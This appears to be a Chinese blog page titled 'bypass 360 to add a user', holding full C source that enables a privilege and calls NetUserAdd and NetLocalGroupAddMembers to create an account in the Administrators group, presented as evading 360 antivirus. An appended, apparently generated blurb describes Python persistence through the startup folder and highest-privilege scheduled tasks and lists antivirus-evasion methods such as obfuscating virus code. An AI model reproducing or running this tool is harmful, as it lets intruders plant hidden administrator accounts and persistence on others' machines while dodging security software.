绕过360 添加用户

//Code by Pnig0s1992  
   //Date:2012,3,17  
   #include <stdio.h>  
   #include <Windows.h>  
   #include <lm.h>  
    
   #pragma comment(lib,"Netapi32.lib")  
    
   int AddUser(LPWSTR lpUsername,LPWSTR lpPassword,LPWSTR lpServerName);  
   int SetGroup(LPWSTR lpUsername,LPWSTR lpServerName,LPWSTR lpGroupName);  
   BOOL ImprovePriv(LPWSTR name);  
    
   int main(INT argc,char * argv[])  
   {  
       BOOL bResult = ImprovePriv(SE_MACHINE_ACCOUNT_NAME);  
       if(argc < 3)  
       {  
           printf("\nCode by Pnig0s1992");  
           printf("\nUsage:");  
           printf("\n\t%s UserName Password",argv[0]);  
           printf("\n\tRemark:Default add to Group:Administrators.");  
           return -1;  
       }  
       if(bResult)  
       {  
           printf("Successfully promote priv!");  
       }else 
       {  
           printf("Failed promote priv.");  
           return -1;  
       }  
       int Namesize=MultiByteToWideChar(CP_ACP,0,argv[1],-1,NULL,0);  
       wchar_t *wUserName =new wchar_t[Namesize+1];  
       if(!MultiByteToWideChar(CP_ACP,0,argv[1],-1,wUserName,Namesize))  
       {   
           return false;  
       }  
       int Passsize=MultiByteToWideChar(CP_ACP,0,argv[2],-1,NULL,0);  
       wchar_t *wPassword =new wchar_t[Passsize+1];  
       if(!MultiByteToWideChar(CP_ACP,0,argv[2],-1,wPassword,Passsize))  
       {   
           return false;  
       }  
       LPTSTR lpName = wUserName;  
       LPTSTR lpPassword = wPassword;  
       LPWSTR lpSevName = NULL;  
       LPWSTR lpGroupName = L"Administrators";  
       AddUser(lpName,lpPassword,lpSevName);  
       SetGroup(lpName,lpSevName,lpGroupName);  
       return 0;  
   }  
    
   BOOL ImprovePriv(LPWSTR name)  
   {  
       HANDLE hToken;  
       if(!OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES,&hToken))  
       {  
           printf("\nGet process token failed.(%d)",GetLastError());  
           return FALSE;  
       }  
       TOKEN_PRIVILEGES tkp;  
       tkp.PrivilegeCount = 1;  
       if(!LookupPrivilegeValue(NULL,name,&tkp.Privileges[0].Luid))  
       {   
           printf("\nLookup process priv failed.(%d)",GetLastError());  
           return FALSE;  
       }  
       tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;  
       if(!AdjustTokenPrivileges(hToken,FALSE,&tkp,0,NULL,NULL))  
       {   
           printf("\nAjust process priv failed.(%d)",GetLastError());  
           return FALSE;  
       }  
       CloseHandle(hToken);  
       return TRUE;  
   }  
    
   int AddUser(LPWSTR lpUsername,LPWSTR lpPassword,LPWSTR lpServerName)  
   {  
       USER_INFO_1 ui;  
       DWORD dwLevel = 1;  
       DWORD dwError = 0;  
       NET_API_STATUS nStatus;  
       ui.usri1_name = lpUsername;  
       ui.usri1_password = lpPassword;  
       ui.usri1_priv = USER_PRIV_USER;  
       ui.usri1_home_dir = NULL;  
       ui.usri1_comment = NULL;  
       ui.usri1_flags  = UF_SCRIPT;  
       ui.usri1_script_path  = NULL;  
       nStatus = NetUserAdd(lpServerName,dwLevel,(LPBYTE)&ui,&dwError);  
       if(nStatus == NERR_Success)  
       {  
           printf("\nAdd user:%S successfully!",lpUsername);  
       }else 
       {  
           printf("\nAdd user failed:%d.",nStatus);  
       }  
       return 0;  
   }  
    
   int SetGroup(LPWSTR lpUsername,LPWSTR lpServerName,LPWSTR lpGroupName)  
   {  
       NET_API_STATUS nStatus;  
       LOCALGROUP_MEMBERS_INFO_3  lgui;  
       lgui.lgrmi3_domainandname = lpUsername;  
       nStatus = NetLocalGroupAddMembers(lpServerName,lpGroupName,3,(LPBYTE)&lgui,1);  
    
       if(nStatus == NERR_Success)  
       {  
           printf("\nSuccessfully set USER:%S to GROUP:%S!",lpUsername,lpGroupName);  
       }else if(nStatus == NERR_GroupNotFound)  
       {  
           printf("\nCan't find such a group:%S.",lpGroupName);  
       }else 
       {  
           printf("\nSet GROUP:%S failed.",lpGroupName);  
       }  
       return 0;  
   } 

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 5
    评论
首先,需要注意的是,绕过杀软是一种不道德的行为,同时也是违法的。因此,我们不鼓励或支持这种行为。 其次,关于Python自启动,一般有两种方法: 1. 将Python脚本添加到系统的启动项中。这样,每次开机启动时,系统会自动运行这个脚本。具体步骤如下: - 打开“运行”窗口,输入“shell:startup”,打开启动文件夹。 - 右键点击文件夹中的空白处,选择“新建”->“快捷方式”。 - 在“快捷方式”的目标栏中输入“python.exe 脚本路径”,如“C:\Python27\python.exe D:\test.py”。 - 点击“下一步”,输入一个名称,如“test”,点击“完成”即可。 2. 使用Windows任务计划程序。这样,可以设置脚本在指定的时间自动运行。具体步骤如下: - 打开“控制面板”->“管理工具”->“任务计划程序”。 - 在任务计划程序中,右键点击“任务计划程序库”,选择“创建任务”。 - 在“常规”选项卡中,输入一个名称和描述,选择“不管用户是否登录都要运行”,勾选“使用最高权限运行”。 - 在“触发器”选项卡中,选择“新建”,设置计划的触发条件,如每天、每周等。 - 在“操作”选项卡中,选择“新建”,设置操作为“启动程序”,输入“python.exe 脚本路径”。 - 点击“确定”保存任务。 对于绕过杀软的过程,一般有以下几种方法: 1. 使用FUD(Fully Undetectable)技术,将病毒代码加密或混淆,使其难以被杀软检测到。 2. 使用虚拟机或沙箱环境,在其中运行病毒代码,以避免被杀软检测。 3. 修改病毒代码,使其不再具有病毒行为,从而不被杀软检测到。 4. 手动编写病毒代码,使用未被杀软识别的技术和方法。 需要注意的是,这些方法都存在风险和不道德性质,因此不应该轻易尝试。同时,杀软的主要目的是保护用户安全,因此绕过杀软的行为也可能会对用户造成风险和危害。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 5
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值